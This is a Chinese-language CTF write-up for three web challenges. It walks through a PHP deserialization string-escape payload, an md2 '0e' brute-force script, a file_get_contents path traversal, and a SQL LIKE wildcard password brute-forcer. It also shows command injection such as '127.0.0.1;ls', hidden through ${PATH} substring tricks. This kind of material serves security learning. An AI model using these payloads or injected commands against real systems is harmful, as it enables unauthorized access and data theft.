web1_此夜圆
1.打开网页就一个wrong password,下载附件,很明显是一个反序列化,在看到str_replace()这个函数很明显就是字符串逃逸了,这个是字符串增多的逃逸
<?php
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
这是附件代码
它是要求password=yu22x就可以得到flag了,先构造一个字符串使这个字符串反序列化之后能够达到这个效果
";s:8:"password";s:5:"yu22x";}
数一下有30个字符,而一个'Firebaskyup'比'Firebasky'多了两个字符所以需要15个进行逃逸
最终payload
?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
web2_故人心
打开网页就是源码
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
if($d){
highlight_file('hint.php');
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}else{
echo '差点点就成功了!';
}
}else{
echo 'please give me url!!!';
}
}else{
echo '想一想md5碰撞原理吧?!';
}
}else{
echo '第一个都过不了还想要flag呀?!';
}
第一个都过不了还想要flag呀?!
is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0
先看第一层,第一层我想了好久,其实没有想到,我开始也就想到用e相关的科学计数法进行绕过,但想不到用那种方法,这里看了看别的师傅的wp,才知道有下面的知识点
在php语言运算中。小数点后超过161位做平方运算时会被截断,但是超过323位又会失效。
也就是说,小数点位数在这个范围内的,就会舍弃掉小数部分。
所以第一层就如下
?a=1e-199
这里的意思就是a自己次方在161和323这个范围内,而它的平方就超过这个范围,所以第一层就绕过了
第二层
$b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c))
这里有提示在hinthint.txt里
Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452 hash("md2",$b)
xxxxxx48399 hash("md2",hash("md2",$b))
目的就是爆破,爆破脚本如下
<?php
for($i=0;$i<9999;$i++){
$b = '0e'.$i.'024452';
if($b == hash("md2",$b)){
echo $b;
break;
}
}
echo "\n";
for($j=0;$j<9999;$j++){
$c = '0e'.$j.'48399';
if($c == hash("md2",hash("md2",$c))){
echo $c;
break;
}
}
?>
爆破出来的
b=0e652024452&c=0e603448399
第二层就绕过了
接着第三层
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}
这里就涉及了
file_get_contents()
这个函数的一个漏洞
当PHP的 file_get_contents() 函数在遇到不认识的伪协议头时候会将伪协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件,这里就是一个ssrf漏洞
构造payload
url=p://ctfshow.com/../../../../../../../../fl0g.txt
全部按相关要求传参就可以得到flag
web3_莫负婵娟
打开网页,源码泄露
<!--注意:正式上线请删除注释内容! -->
<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->
看到了用like去匹配后面的username和password,,like模糊匹配
这里简单的说两个匹配
1.%代表匹配后面所有字符
2._代表匹配一个字符
用bp爆破一下发现%被过滤了,而_是没有过滤的,那就利用脚本进行爆破
import requests
#post传参
url = "http://be8ddab7-a29a-43d8-bc2a-165ae88dcd7f.challenge.ctf.show/login.php"
a = "0123456789abcdefghijklmnABCDEFGHIJKLMN"
flag = ""
for i in range(32):
for j in a:
password = flag+j+'_'*(31-i)
data = {
'username': 'yu22x',
'password': password
}
res = requests.post(url=url,data=data).text
if "wrong" not in res:
flag += j
print(flag)
break
爆破得到密码为
67815b0c009ee970fe4014abaa3Fa6A0
登录进去就是让输入ip
想着用127.0.0.1;ls这种去进行命令执行的,但却执行不成功
这里又学到了一种新的姿势
127.0.0.1;${PATH:5:1}${PATH:2:1} //替换之后就是127.0.0.1;ls
${PATH:14:1}${PATH:5:1} ????.??? //替换之后就是127.0.0.1;nl ????.???
用PATH环境变量进行命令执行,即可得到flag